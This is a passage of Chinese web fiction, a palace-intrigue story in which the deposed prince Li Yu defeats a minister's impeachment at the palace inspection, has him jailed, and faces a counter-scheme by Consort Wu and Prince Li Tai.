苏庭雪微微一笑。 “杜伯伯放心,庭雪心中有数,不会干傻事儿的。” “幽王殿下于我苏家有恩,我苏家定不会放弃幽王的。” 说完,便转身离开。 杜玄礼见状,僵在原地许久才回过神来,眼底浮现出几分无奈。 …… 翌日。 朝臣们集中在宫门外,等候乾帝出行。 今天是验收万寿宫的大日子。 百官甚至要比乾帝自己都期待这天。 当那宫门缓缓打开,乾帝的御辇也出现在百官面前。 等到那御辇缓缓驶过,百官也是急忙跟在了后面,朝着万寿宫赶去。 当所有人都到了万寿宫的时候,幽王李钰,早已带着户部官员在万寿宫门外等候。 “恭迎陛下!” 御辇上的乾帝看着李钰那草率的很的行礼,只是冷哼一声。 随后看着李钰开口询问了一句。 “幽王,万寿宫可全部完工?” “回禀陛下,万寿宫已经全部完工,达到了验收的标准。” 见李钰回答的干脆,乾帝也是愣了愣。 完工了? 然而,就在这时,身后的百官队列内,却有人站了出来。 “陛下,臣弹劾幽王欺君罔上之罪!” 站出来的人,是吴三友的人,御史台御史范离。 此人是吴三友早就准备好的一颗棋子。 等的就是这一天。 只要李钰承认已经完工,那他就站出来弹劾。 “陛下,据臣所知,工部第二批砖石已经延期送到,剩下的时间根本不够幽王修建完成万寿宫。” “可幽王还是口口声声的说这万寿宫修建完毕了,要不是在欺骗陛下,要不就是偷工减料修建成的.” “但无论是哪一种,这幽王都是在欺骗陛下,其心可诛!” 随着范离将理由说出来,在场的官员们也是纷纷站了出来。 “臣附议!幽王必定在其中偷工减料!万寿宫乃是陛下清修之地,容不得半点马虎啊!” “陛下!幽王殿下此举往小了说是欺君罔上,往大了说是谋害陛下!臣请陛下严惩幽王!” “失期可致死罪,幽王定是心中害怕,糊弄陛下,此举比失期更为可恶,臣请斩幽王,以正朝纲!” 还有高手? 原本李钰以为,治罪自己已经够离谱了,眼前这群人居然还想杀了自己? 他们是睁着眼睛在说瞎话吗? 此刻御辇上的乾帝见李钰都目瞪口呆的看着这一幕,还以为是李钰被人说中了心思,心中不免冷笑起来。 这样子,果然是没有完成工期! 看朕今日怎么收拾你! 只听到乾帝轻咳一声,现场也随之安静下来。 目光落在李钰身上,乾帝这才开口道:“李钰,朕知你害怕,但还是要说实话。” “你若是没有完成,如实说来,朕还能免你重罪。” 说完,乾帝便一脸期待的看着李钰,想要看看李钰如何跪下来求自己。 但李钰见状,却是没有任何反应。 反倒是看着刚刚跳出来弹劾自己,还要杀了自己的几位大臣。 “几位大人,你们是怎么知道本王没有完成任务,还在其中偷工减料的?” “你们进去看了?” 一听这话,几人也是神色尴尬起来,但随后还是给出了解释。 “我等自然是根据砖石送到的时间来推算的,你事情都干不完,何来完工一说?” “就是!就算是你完工了,时间缩短成这个样子,哪个知道你是不是偷工减料了?” 听着这些话,李钰也是做恍然大悟状。 “说来说去,几位也都是瞎猜而已,这年头做官都底线这么低了?” 此话一出,现场可谓是一片哗然。 然而,李钰却是根本不理会对方。 “告状得有证据才叫告状,没有证据那叫诬陷。” “几位口口声声说本王监造的万寿宫有问题,结果看都没看过,如此诬陷本王,你们居心何在?” 第53章 丹书铁券 见李钰几句话就将弹劾自己的声音压了下去,乾帝也是面露不悦。 带伤复出的工部尚书吴三友见状,适时道:“殿下这话说得确却是不对。” “御史本就有风闻奏事的权力,这可是太祖皇帝定下的规矩,殿下难不成是说这祖宗之法是错的?” 又是一顶帽子扣下来,在场人也是心中感慨莫名。 到底姜还是老的辣。 这吴三友一开口就是水准之上。 然而李钰却丝毫不吃这一套。 见吴三友站了出来,面露好奇道:“呦!这不是吴尚书吗?怎么?伤好利索了?” 听到这话的吴三友淡淡一笑。 “有劳殿下挂念了,下官伤势好多了。” 李钰点了点头。 “是好多了,都能出来找事儿了,这明显是好了不少。” 吴三友闻言,脸色顿时一黑。 李钰见状,轻笑道:“吴大人你也不要生气,本王也知道你生气的原因。” “你无非是觉得,自己上干不完,本王干完了显得你无能罢了,本王理解。” 一听这话,吴三友顿时面色阴沉道:“殿下倒是自信的很,你就这么确定,自己如期完工,质量还有保证?” 见吴三友不相信,李钰轻笑道:“这话说得,要不咱们打个赌?” “这工程如果本王没有完工,亦或者说质量有问题,本王甘愿受到任何惩罚,哪怕是死罪本王也认。” “若是这工程完工,且质量也达到了朝廷的标准,你吴尚书和刚刚弹劾本王的那几位大人,本王依律处置,如何?” 此话一出,现场可以说是一片寂静。 公然在百官和陛下面前打赌,自大乾建国以来这还是头一遭。 吴三友眉头一皱,下意识的就要拒绝。 但李钰哪里会给他这个机会。 “怎么?吴大人怕了?” “既然怕了,那日后就不要这么跳,小心栽了跟头。” 听到这话,吴三友脸色顿时难看无比。 “本官为何要怕?” 说着,那吴三友就直接转身,朝着乾帝行了一礼。 “陛下,臣请您做个见证,免得幽王到了后面不认账。” 乾帝听到这话,也是稍稍犹豫了一下,最终点了点头。 “准了。” 乾帝此时也是想要看着李钰服软,只要今日低头,他倒是可以拉李钰一把。 见乾帝答应下来,吴三友心中一喜。 今日终于是可以给儿子和自己报仇了! 回头目光冰冷的看向李钰,吴三友冷声道:“殿下,开门吧!” 然而,就在李钰要下令打开宫门的时候,远处却传来一声疾呼。 “且慢!” 一瞬间,这一声呼喊吸引了所有人的目光。 只见一辆马车疾驰而来,而那车内坐着正是苏庭雪。 却见那苏庭雪满是焦急的赶了过来。 马车才刚刚停稳,便迫不及待跳下了车,跌跌撞撞来到前面。 挡在了李钰面前。 此刻苏庭雪高举双手,手中还举着一块铁牌,双膝跪在地上。 “臣女苏庭雪,叩拜陛下!” “我苏家有丹书铁券一张,今日想求陛下一个恩典!” “无论今日何种结果,我苏家愿意用此丹书铁券换幽王一条性命!” “轰!” “乖乖!苏家的丹书铁券?” “这不是当年太祖皇帝赏赐给苏家的吗?听说几百年了一直供奉在苏家祠堂内!” “何止,成国公府世袭罔替,有了这块牌子,只要造反,那是与国同休的!” “这苏庭雪居然拿这块牌子来救幽王的命!” “啧啧,前有幽王为了苏庭雪当街殴打朝廷命官,后有苏庭雪用丹书铁券保全幽王性命,这两位这也算是过命的交情了。” 看着眼前这一幕,乾帝也是错愕的很。 苏家的丹书铁券是太祖皇帝所赐,他不可能不认。 只是这架势他是闻所未闻见所未见。 一时间居然不知道该说什么才好。 而一旁的吴三友见状,又怎么可能放过这诛杀李钰的机会,当即站出来反驳道:“大胆苏庭雪!” “太祖所赐丹书铁券,那是念在你苏家为国立功!保的是你苏家人!” “幽王是你什么人?你用这东西来免除幽王罪责?” “你将我大乾律法置于何地?” 说完,吴三友转身看向乾帝。 “陛下,苏庭雪仗着太祖恩惠,肆意妄为,目无法纪,臣请陛下即刻收回苏家丹书铁券!” 乾帝闻言也是愣了愣。 他是防备苏家,但那苏庭雪的爷爷和亲爹已经全部战死,苏家已经对朝廷没了威胁。 这时候要是这么做,岂不是让自己落个残害忠良之后的名声? 下意识的,乾帝就要拒绝。 哪料那苏庭雪脾气也是爆的很,看向吴三友就开始据理力争。 “臣女和幽王是陛下亲自降旨赐婚的,本就是夫妻一体,何来外人之说?” “吴大人如此大义凛然,秉公无私,为何不在外面说自己和吴贵妃断绝姐弟关系?” 一听这话,李钰诧异的看向苏庭雪,但转念又笑了出来。 不愧是自己看中的女人,这不吃亏的性子,果然是有味道的很。 包括吴三友在内的众多大臣,此刻也是短暂愣了愣,随后便有人笑出声来。 “噗嗤!” 狠狠瞪了一眼那笑出声的官员,吴三友这才回头看向苏庭雪,脸色要多难看有多难看。 乾帝见状,心中也是无语。 自己这大臣个个都是什么货色,连个小女子也摆不平。 成何体统? 稍作思索之后,乾帝这才开了口。 “苏庭雪,朕又没说要杀了幽王,犯错受罚本就是应有的事情,再者说你就如此确定他李钰会吃亏?” “将你的丹书铁券收起来。” “再举着这东西,朕就将它收回来!” 李钰此刻也是来到苏庭雪身边,将其搀扶起来,笑眯眯道:“庭雪,将这东西收起来,放心,为夫出不了事儿!” “今日在场之人,除了我自己,谁都定不了我的生死。” 李钰这话说的太过猖狂,就连乾帝都忍不住皱了皱眉。 “多说无益,先将宫门打开!” 吴三友此刻也是目光狠狠的看着李钰。 只见那李钰淡淡一笑,看向林裕昌道:“林大人,将宫门打开,给陛下和诸位大人们长长见识吧。” 第54章 要你的命 林裕昌毕恭毕敬的行礼应了一声,态度谦卑的很。 看着这一幕的吴三友,心中瞬间有些担心起来。 这担忧来的莫名其妙,吴三友并不知道问题在什么地方,只是觉得不对劲。 而就在吴三友这边满心疑惑的时候,那紧闭的万寿宫宫门也缓缓打开。 映入眼帘的,正是那异常平整的地面。 水泥灰经过多日晾晒,现在虽然和山石有些区别,但平整异常的地面,还是给人一种别样的美感。 预想中的黄土遍地,并没有出现在众人的视线中。 原本眯着眼睛的乾帝,这时候也猛地睁大了眼睛。 百官更是一脸骇然。 “这……铺完了?” “如此整齐,看着比宫中铺设的还好,这当真是砖石铺出来的?” “乖乖,还真就让他做到了?” “……” 眼见众人议论纷纷,却是没有一个人肯上前查看的,李钰不由得笑了笑。 “诸位,光看确定能行?” 乾帝此刻也回过神来,在太监的搀扶下走下御辇,步伐稍有些急促的朝着宫门内走去。 当脚踩在那水泥地上的时候,心中不由得就是一惊。 “质地坚硬,不像是土地压实的样子。” 嘀咕了一句之后,那乾帝便蹲下了身子,伸手摸了摸水泥地。 发现这水泥的触感,相较于砖石还是有些差距,但比砖石更加平整。 缝隙间也整齐充实的很,让人有种不真实的感觉。 “这是什么东西做的?” 见乾帝发现了不对劲,李钰微微一笑。 “陛下,儿臣所用的是一种新的材料,制作之后质地坚硬,比砖石要好不少,最关键的是此物制作生产很快,就算是铺设也简单的很。” “说句实话,此地铺设完成已经有几天了,这几天一直在晾晒。” 铺完已经有几天了? 此刻的乾帝瞪大眼睛看着李钰,直觉告诉他,脚下踩着的这东西,很不简单。 然而,李钰却并没有理会此刻的乾帝,而是转头看向了一旁发呆的吴三友。 “吴大人,本王现如今不仅仅将这地面完成了,甚至效果要比你那砖石还要好。” “现在你还有什么说的?” ‘咕咚’,吴三友吞了吞口水,看向李钰的眼神也发生了变化。 恨意之中夹杂着几分惊惧。 但此刻的他依旧不服气。 “殿下既然用了此物铺设,那砖石是不是被你贪墨了?” 李钰听到吴三友还想挣扎一下,当即冷笑出来。 “吴大人,愿赌服输,你就说本王有没有干成吧。” 闻言,吴三友脸色有些难看。 虽然不想承认,但事实就摆在面前,由不得他不承认。 犹豫在三之后,吴三友还是不情不愿的点了点头。 见状,李钰脸上的笑容也越发灿烂起来。 “吴大人承认就好,既然如此,那咱们就要履行赌约了。” 一听这话,吴三友心头便是一跳。 他原本以为李钰会秋后算账,不会当下就报复自己。 谁知道这李钰连一会儿都等不了。 只见那李钰回头看向乾帝,开口道:“陛下,按照赌约,儿臣可以任意处置吴大人。” 乾帝有些犹豫,但还是点了点头。 “既如此,那儿臣恳请诛杀吴三友!” 此话一出,现场一片哗然! 乾帝更是面露惊骇之色。 “不过是一个赌约而已,罪不至死吧?” “况且吴三友乃是工部尚书,当朝二品大员,朕因为一个赌约就斩杀大臣,传出去国体何在?” “朕岂不是成了外面人眼中的滥杀昏君?” “此事,朕不同意!” 见乾帝拒绝的干脆,原本被吓了一跳的吴三友这时候也是松了一口气。 只要乾帝不想杀自己,那李钰就拿自己没有办法。 此刻的秦王李泰也意识到了问题的严重性,当即站出来反对。 “大哥,不过是个赌约而已,吴大人好歹也是当朝二品,他向你道歉便可,为何要索人性命?” “秦王言之有理!幽王为泄私愤,枉顾国法,还请陛下降旨取消赌约!” “臣附议!” “臣附议!” 看着一个个人都站出来,吴三友的脸上也浮现出一抹自得之色。 眼神中带着几分挑衅的看向李钰。 “幽王殿下,老臣愿赌服输,但你索取老夫性命,恐怕有公报私仇之嫌啊。” “你就非要将老臣逼死,将陛下置于天下唾骂的地步?” 眼见面前的人一个个都站出来反对,李钰不慌不忙,眼神平静的看了一眼嚣张跋扈的吴三友。 “这话说的,若是本王用国法拿你性命,你就无话可说了?” “那是自然。” “国法无情,若是老臣真就触犯了国法,丢命也是罪有应得罢了。” “只是幽王殿下,你确定能找到证据证明老夫触犯国法了吗?” 此刻的吴三友嚣张至极。 眼神中满是挑衅之色。 李钰见状失笑一声摇了摇头。 “真是蠢的可以,你们难道就没发现,这万寿宫少点什么?” 乾帝此刻也是愣了一下,左右看了看,脸色愈发茫然起来。 “不对!这砖石都去什么地方了?” “对啊!幽王铺设地面没有使用砖石,砖石呢?” 见有人发现了盲点,李钰笑了笑说道:“不错,确实是少了砖石。” “现在看不到,是因为本王已经下令全部封存了,毕竟这可是赃物啊。” “赃物?什么意思?” 乾帝这时候也回过神来,一脸诧异的看着李钰。 只见那李钰微微一笑。 “陛下,解释这事儿之前,儿臣想要问一句,这万寿宫的地砖问题,算是解决了没有?陛下可还满意?” 闻言,乾帝不免有些犹豫起来。 但最终还是点了点头。 “勉强还算是不错。” 看着乾帝那口是心非的样子,李钰也懒得计较,而是伸手从衣袖里摸出来一封信。 “陛下,儿臣有证据表明,这一次押送砖石之人是故意延期,且受到朝中大臣指使。” “因为事关陛下万寿宫完工吉日,往小了说是耽误陛下要事,往大了说可是动摇国本啊!” “毕竟,这万寿宫可是看好了日子要投入使用的,若是耽误了吉时,影响了陛下长生大业,其心可诛啊。” 以李钰这段时间对乾帝的观察。 你如果说这事儿影响江山社稷未必会引起他太多的重视,但只要说影响他的长生,那他必定会六亲不认,从重处置。 果然! 当李钰说完这话的时候,乾帝立马就皱起了眉头。 “你说的有点严重了吧?” 李钰嘴角噙着笑容,缓缓道:“陛下看看不就知道了吗?” 第55章 陛下,给钱! 现场气氛有些诡异。 乾帝犹豫了一下后,还是将那信件打开看了一眼。 当看清楚里面内容的时候,乾帝的脸色肉眼可见变得阴沉下来。 吴三友见状,面露一丝慌乱。 直觉告诉他,事情正在朝着不好的方向发展。 正在琢磨那书信里写的到底是什么的时候,却见乾帝已经抬头朝着自己看了过来。 “吴卿,你和工部库使刘天宝是什么关系?” 听到这个名字,吴三友顿时脸色一变。 随后支支吾吾开始回答起来。 “回禀陛下,这、这刘天宝和臣并无关系。” “还在骗朕!” 乾帝突然怒吼一声,将那信件狠狠甩在了吴三友的脸上。 “你任人唯亲,公报私仇,眼里还有没有朕?” “啊!?” 看着突然暴怒的乾帝,李钰却是心中有些想笑。 此刻的乾帝根本不是因为自己这个儿子被陷害而生气,而是在生气吴三友在用乾帝长生的可能来算计李钰。 在乾帝看来,这世上没有任何事情能够和他的长生相比。 那怕是自己这个儿子也一样。 耽误了乾帝的长生大事,目的只是为了扳倒自己这个废太子,在乾帝看来无异于拿传国玉玺换一只偷吃点心的老鼠的性命! 简直就是目无君上! “陛下,吴三友利用父皇的万寿宫算计儿臣,此等不忠不义的行径实在是令人发指,可见其一开始就没有将万寿宫的修建当一回事儿。” “公器私用,谋害皇子,依照国法,理应处斩!” 吴三友此刻也是一脸慌张。 他万万没有想到,李钰会拿到自己写给刘天宝的书信。 那里面可是有不少犯忌讳的言辞,眼下都被乾帝看到了,自己岂能好了? “陛、陛下,这都是幽王诬陷臣啊!” “诬陷?这字迹分明就是你的!何来诬陷之说?” 乾帝此刻也是气昏了头,目光冰冷的看着吴三友。 “来人,给朕将其拿下,打入天牢!” 一朝二品大员,从云端跌落只需要乾帝一句话。 随着乾帝一声令下,那禁军护卫就立马上前,将那吴三友压住,并且把象征身份地位的玉带和官帽扯下来。 披头散发的吴三友万万没有想到,自己今天非但没有扳倒李钰,反倒是搭上了自己。 秦王李泰这时候也是慌了神。 当即就上前想要求情,但却被自己的人拉住。 就这样,李泰眼睁睁的看着吴三友被拿下拖拽下去。 眼见当朝老狐狸的吴三友都不是李钰的对手,那些剩下的大臣们看向李钰的眼神都变了。 原先做太子的时候,果然还是对李钰限制太多,让他们以为李钰也是个好欺负的。 现如今没有了限制,反倒是放开手脚的收拾人。 这数月时间,有多少人栽在了李钰的手里? 而且这官职也是越来越高。 乾帝此刻心中也是无奈的很,手下一个比一个蠢,现在居然要用自己的长生之路来赌李钰的生死,简直是不知尊上了。 再看李钰,乾帝的心中也是生气的很。 万事皆是由这个惹祸精捅出来的,可偏偏他次次都能全身而退,这上哪儿说理去? 原本想着今天好好教训李钰一番,结果反倒是让他长了脸。 一时间,乾帝也没有了继续视察万寿宫的心思。 “这一次差事做的勉强可以,主殿以及其他朕就不看了。” “再过七日就是朕要启用万寿宫的吉日,你记得写一篇贺表。” 看似随意的嘱咐,李钰却是知道,这应该有事乾帝给自己出的难题。 上次旨意里就特意提到过,看样子还是没有忘了要惩戒自己。 心中冷笑一声,李钰这才看着乾帝开口道:“儿臣领旨。” 乾帝点了点头,这才心烦意乱的打算离开。 但才刚刚转身,就被李钰叫停下来。 “父皇且慢,儿臣还有一事。” 听到这话,不仅仅是乾帝,就连在场的百官也紧张起来。 这幽王还要收拾谁? 乾帝眉头轻蹙。 “还有什么事儿?” 只见那李钰笑眯眯的拿出一张纸来。 “父皇,修建万寿宫儿臣贴进去不少钱,您得给报销一下。” 一听这话,乾帝立马睁大了眼睛。 “要钱?万寿宫修建户部不是专门拨过钱了吗?怎么还要?” 看着乾帝那不想出钱的样子,李钰解释道:“这不是都被吴三友浪费了吗?砖石耗费不少,他还延期送达,期间还毁了一批砖石。” “可以说,您给的那点钱,都被吴三友等贪官给霍霍了。” “您眼前看到的这些,可都是儿臣从外面赊回来的。” “您要是真的没钱不想给的话,那儿臣也没办法,这欠账毕竟是朝廷和您的,传出去丢的也不是儿臣的脸。” 乾帝闻言,一时间也是纠结的很。 思忖片刻后,最终也只能无奈问道:“多少钱?” 见乾帝松口,李钰立马兴奋起来。 “不多,三十万两。” “多少?” “陛下,是三十万两。” 听到这个数字,乾帝也是头晕的很,晃晃悠悠的一手扶额,一手被太监搀着,勉强稳住了身形。 瞥了一眼满是期待的李钰,又想想自己的脸面,乾帝最终还是抹不开面子,将这笔账认了下来。 “沈石!” “臣在。” “从户部调拨三十万两给幽王。” 沈石虽然有些心疼,但这钱毕竟是李钰出的,现在乾帝又张了口,最后也只能无奈答应下来。 “臣领旨。” 乾帝看了一眼满意的李钰,没好气道:“你没事儿了吧?” 只见李钰摇了摇头。 “没事儿了,陛下保重龙体。” 乾帝闻言,此时更是一刻都不想多待,转身就走上了御辇,下令速速回宫。 而百官此刻也是慌慌张张散去,深怕哪里不对得罪了李钰。 一时间,万寿宫门口再次变得冷清起来。 李钰拍了拍手,朝着林裕昌招了招手。 那林裕昌也是一路小跑了过来。 “殿下有何吩咐?” 李钰笑眯眯的摸出来一张银票递给林裕昌。 “这是三千两银子,你拿去给这几日现场盯着的工部官员分一分,算是本王一点心意。” “这几天麻烦大家了。” 林裕昌连忙跪地谢恩。 “殿下客气了,都是我等应该做的,如果没有殿下,我等今日也不好过。” 今天这事儿,看似针对的是李钰,但他们一样会吃瓜落。 李钰保住了自己,也同样保住了他们,他们自然是对李钰感恩戴德。 “见外了,拿着就是。” “日后本王虽然要去宣化,但也少不了你工部的帮忙,全当是你我交集了。” 听到这话的林裕昌瞬间心领神会。 “殿下放心,我等必不会在工部给您拖后腿的!” 第56章 ‘善解人意\’的吴贵妃 万寿宫事了,百官退去,就连乾帝都被气走。 眼见周围没了外人,李钰这才满脸笑意的朝着苏庭雪走去。 苏庭雪今天能来,倒是有些超出他的预料。 尤其是拿丹书铁券这事儿,更是让李钰有些感动。 毕竟这种东西拿来救人,可不是下定决心那么简单。 而看着李钰笑眯眯的朝着自己走来,苏庭雪也是俏脸微红,神色间带着几分羞涩,低着脑袋不敢和李钰对视。 “怎么?刚刚那股子泼辣劲儿怎么没了?” 听着李钰这调侃的语气,苏庭雪轻哼一声,歪着脑袋眼神飘忽不定道:“谁泼辣了?瞎说!” “是不泼辣,救夫的那股子劲头倒是让本王大为欣慰。” “看样子本王果然没看错人。” “什么救夫!哎呀!” 苏庭雪见李钰称呼亲昵,刚想要反驳,却突然身子一晃,就被李钰拉到了近前,整个人也贴在了李钰胸膛上。 只是唰的一下,苏庭雪的脸就变得通红无比,像是熟透的苹果一样。 近在咫尺的李钰嗅着苏庭雪身上传来的幽香,面露陶醉之色。 苏庭雪小心翼翼看了一眼,心中语法羞赧起来。 “你放开我!还有外人呢!” “哪里有外人?” 随着李钰说了一句,周围站着的陈玉楼等护卫也是识趣的背过身去。 李钰微微一笑,轻抚苏庭雪的秀发,柔声道:“今日倒是让你担心了。” 听着这突如其来的温柔语气,原本还因为害羞而挣扎的苏庭雪这时候也停下了动作,双眼微微发红。 “下次有事儿要提前告知一声,你可知道朝中有多少人想要你死?我一个人担惊受怕,你倒好连这宫门都不踏出一步。” 知道苏庭雪是在担心自己,李钰轻声道:“知道了,下次再有这种事儿,一定会提前告诉你的。” “嗯~” 苏庭雪轻声应了一声,也是自然而然的靠在了李钰的胸膛上。 “陛下今天直言让你写一份贺表,这其中是不是有诈?” 听到苏庭雪这么说,李钰轻轻刮了一下苏庭雪的琼鼻,轻笑道:“不愧是本王的女人,这直觉倒是很准。” “无非是想要借着贺表找本王的麻烦罢了。” “那你可得好好写,万不能让他挑出毛病来。” 李钰笑了笑。 “放心,本王有分寸。” 在李钰怀中温存了片刻之后,苏庭雪便接着问道:“万寿宫启用之日,你是不是就要离开京城了?” 李钰点了点头。 “这地方没什么可留恋的,不过一潭死水罢了,池浅王八多,本王乃是真龙,自然要龙入大海。” “你是说宣化之地是大海?” 见苏庭雪不相信,李钰笑了笑。 “应该说这京城之外是大海,此地限制太多,麻烦事儿也不少,宣化之地就简单多了。” “外人眼里的苦寒之地,在本王这里还真不一定。” 苏庭雪见李钰如此自信,当即开口道:“既然这样,那我也收拾收拾,随时跟着你奔赴宣化。” “从今往后,无论你去什么地方,我就去什么地方。” …… 回到宫中的乾帝,此刻还在气头上。 一是因为吴三友坏他大事而生气,二则是因为没有给了李钰教训,反倒是让他涨了脸而生气。 因此,回到寝宫之后,乾帝就将所有人都赶了出去。 打算独自一人静静再说。 而得知自己的哥哥被抓,吴贵妃也是心急如焚。 也不管乾帝是不是还在气头上,就打算求情。 只是还没有到了乾帝的寝宫,就被自己的儿子李泰拦了下来。 “母妃,且慢!” 及时出现在宫殿外的李泰将吴贵妃拦下,随后挥了挥手,周围的宫女太监才散去。 吴贵妃见状,急忙道:“你拦着我干什么?再晚你舅舅就没了!” “您去了舅舅才有可能没了。” 李泰一句话,直接将吴贵妃给说懵了。 “你这话什么意思?” 见吴贵妃一脸不解的看着自己,李泰这才开始解释起来。 “舅舅这一次犯的错,是触犯了父皇的逆鳞,加上父皇现在本来就在气头上,如果因此而牵连了母妃,那舅舅可就彻底救不出来了。” 一听这话,吴贵妃也是犯了难。 “难不成就这么眼睁睁看着你舅舅在牢里受罪?” “母妃放心,一切有儿臣在,舅舅一定不会有事儿的。” 说着,那李泰就上前在吴贵妃耳边低语了几句,只见那吴贵妃的脸色,肉眼可见发生了变化。 原本慌乱的神色消失不见,取而代之的则是一抹兴奋。 等到李泰说完,吴贵妃这才看着李泰三分激动,七分欣慰道:“我儿当真是长大了,依照你所说去做,母妃看看她李钰还有什么法子活命!” 李泰面带笑容道:“这还要看母妃去做,说到底儿臣还是差母妃不少呢。” 吴贵妃心思大悦,笑眯眯道:“泰儿放心,你就等着母妃的好消息吧!” 说完,只见那吴贵妃朝着乾帝的寝宫走去,等来到宫殿外的时候,还专门整理了一下身上的衣物头饰,最后才跪伏在地上。 “罪妾拜见陛下!” 此刻正在殿内生闷气的乾帝听到动静,眉头不由的就是一皱。 “何人在外面喧哗?” “启禀陛下,是吴贵妃在殿外求见。” 听到是吴贵妃来了,乾帝先是一愣,旋即面露难色。 这些年他宠爱吴贵妃,连带着吴三友这个皇亲国戚在朝中的地位水涨船高。 如今自己把吴三友拿下,吴贵妃又怎么可能不会来求情? 本就有些生气的乾帝,此刻心中也是愈发烦躁起来。 想要让人将吴贵妃驱赶开来,心中又有些不忍,思虑再三之后,还是让人将吴贵妃宣了进来。 “带进来吧。” 随着吴贵妃走进来,乾帝看着吴贵妃那通红的双眼,心头就是一阵心疼。 但还是强忍着没有说话。 “罪妾拜见陛下。” “平身吧。” 说完,乾帝看着吴贵妃:“爱妃前来所为何事啊?” 吴贵妃躬着身子,语气中带着几分平静道:“罪妾听闻陛下今日在万寿宫出了一些事儿,被气了一通,龙体欠安,心中担心陛下,所以来看看。” 乾帝眉头一挑,随后说道:“无妨,朕已经好多了。” “那就好。”吴贵妃顿了顿,“陛下今日是因为罪妾的哥哥被气到了吧?” 见吴贵妃主动提及这件事儿,乾帝神态间带着几分尴尬,轻咳一声道:“确实是和吴三友有关。” “爱妃,这一次吴三友实在是太过分了,居然拿朕的长生之道开玩笑,他为了泄私愤,将朕置于何地?” 听到这话,吴贵妃低着脑袋道:“陛下,罪妾今日来不是为了给罪妾那不成器的哥哥求情的。” “这天大地大,陛下最大,哥哥他犯了忌讳,目无君上,就应该受到惩戒。” 第57章 另有安排 当听到吴贵妃没有因为自己抓了吴三友而生自己的气,甚至还颇为善解人意的时候,乾帝眼神也变得明亮起来。 “哦?爱妃当真是这么想的?” “罪妾不敢撒谎。” 乾帝见吴贵妃神态不似作伪,松了一口气的同时,脸上也浮现出几分欣慰之色。 随后朝着吴贵妃招了招手。 “爱妃这边来。” 听到乾帝的召唤,吴贵妃这才起身小心翼翼来到乾帝身边。 “陛下,罪妾……” “不要老是罪妾罪妾的,你又没罪。” 吴贵妃听到这话,也是轻声应了一声,随后低着脑袋道:“多谢陛下。” 看着吴贵妃那小鸟依人的模样,乾帝心中越发怜爱起来。 “爱妃啊,朕也有苦衷,且不说你那哥哥到底有没有将朕这个皇帝放在眼里,单单是这把柄被李钰抓在手里,当着那么多大臣的面,朕也不好袒护他。” “你放心,朕关他一段时间,就想个办法把他放出来,这事儿起码也得等李钰离京了不是?” 然而,让乾帝有些意外的是,吴贵妃这时候居然摇了摇头。 乾帝见状,心中不免有些疑惑起来。 “爱妃这是什么意思?不满意?” 吴贵妃急忙解释道:“陛下误会了,臣妾是想说,这件事儿万不能让陛下为难。” “您能饶臣妾哥哥一命,已经是皇恩浩荡了,但朝臣和国法却要维护,所以臣妾觉得您不杀他也要严惩才行。” 看着吴贵妃如此善解人意,乾帝也诧异了一下。 “爱妃这话是什么意思?” 只见那吴贵妃犹豫了一下,开口道:“陛下,臣妾那哥哥死罪可免,活罪难逃,还请陛下将臣妾的哥哥流放离京,也好让他长长记性。” “以正陛下皇威。” 闻言,乾帝也不由得诧异起来。 “爱妃这么说,是不是有些严重了?” 乾帝原本是没想着要杀人的,甚至还想着等风波过后,再给吴三友官复原职,即便是做不到,也要另外给个差事。 没想到这吴贵妃这么狠,直接要把自己的亲哥哥流放离京? 这还是亲兄妹吗? 见乾帝还在发呆,吴贵妃解释道:“陛下,臣妾并非是避嫌或者胡言乱语,而是真心希望如此。” “这些年您因为宠爱臣妾,连带着臣妾的哥哥也是平步青云,朝中不少人都说陛下是任人唯亲,这流言蜚语臣妾听得实在是太多了。” “您此番闭关,臣妾的哥哥必然会被他人针对,倒不如趁着这个机会,将其外放离京,也算是帮您正名。” 听了吴贵妃的解释,乾帝一时间也是感慨不已,心疼道:“倒是让你费心了。” “能给陛下解忧,臣妾责无旁贷。” 乾帝微微颔首,随后说道:“既然如此,那就依照你说的去做,朕就借着这机会送他离京。” “不过虽然说是流放,但也不能是太苦寒的地方,好歹也是你的亲哥哥不是?” 说话间,乾帝也开始思索起来哪里合适。 吴贵妃见状,眼睛转了转,随后按照先前李泰交代的,开口道:“陛下,不如就在北面挑个地方吧。” “虽然说离了京城,但还是要为陛下做事。” “那幽王行事乖张,去了宣化恐怕也不会安生,倒不如让我那哥哥盯着点。” 一听这话,乾帝瞬间恍然大悟。 “倒是这么个道理,确实是得盯着点。” 思索片刻后,乾帝开口道:“宣化是肯定不能去的,但是代州倒是个不错的地方。” “此地遥控北境九镇,但因为地处北境,到底还是环境差了些,勉强算是个流放之地。” “前段时间,代州刺史请辞,此地还空着官位,倒是可以让吴三友试试。” 代州刺史地处北境,遥控北境九镇,其中就包括宣化。 且这个官职也仅仅是个五品官职,公布出去也算是个惩戒。 得到了自己想要的,吴贵妃心中一喜,但脸上却没有表现的太过明显,而是目光微微一闪,欠身道:“臣妾在这里代大哥谢过陛下了。” “这话说的,朕不疼你谁来疼你?” 说着,乾帝就一把将吴贵妃拉入怀中。 片刻后,殿内也响起阵阵欢愉声。 …… 天牢内。 穿过昏暗的甬道,来到一间牢房外,秦王李泰一手用手帕捂着口鼻,另一只手摆了摆。 那狱卒将牢门打开之后,便直接退了出去。 正在草垛上躺着的吴三友,此刻听到动静回头看去,见到李泰的容貌后,也是急忙起身。 “秦王殿下……” 不等行礼,就被李泰搀扶起来。 “舅舅这是干什么?快快起来!” 将吴三友搀扶着坐下之后,李泰这才看了看周围的环境,不由得感慨道:“让舅舅受苦了。” 吴三友闻言苦笑一声。 “什么吃苦不吃苦的,胜者为王败者为寇,老夫三番五次的栽在幽王手里,现在能苟活已经是一件好事了。” 见吴三友没了心气,秦王李泰眼中光芒一闪,随后说道:“舅舅也不必失望,不过是输了一时而已,他李钰也未必能够一直赢不是?” 听到这话的吴三友失笑一声,摇了摇头道:“是不是又如何,老夫又没机会了。” “谁说舅舅没机会的?” 吴三友听到这话愣了愣,随后看着李泰迟疑道:“殿下这话是什么意思?” 见吴三友起了兴趣,李泰这才开口说道:“舅舅,我已经让母妃去见陛下了,只要母妃出手,舅舅的死罪必定会被免除。” “唯一麻烦的就是,您怕是要离京了。” 一听这话,吴三友哪里有担心的意思。 他得罪了乾帝,能保住性命已经是不错了,哪里敢挑三拣四的? “这话可不能这么说,如果真的保住性命,不要说离京了,就算是流放老夫也认了!” 听到这话,李泰笑了笑。 “话也不能这么说,流放还不至于,不过舅舅大概是要被送到北境去。” 吴三友不是蠢货,见李泰说的如此肯定,瞬间就意识到这应该是李泰谋划的。 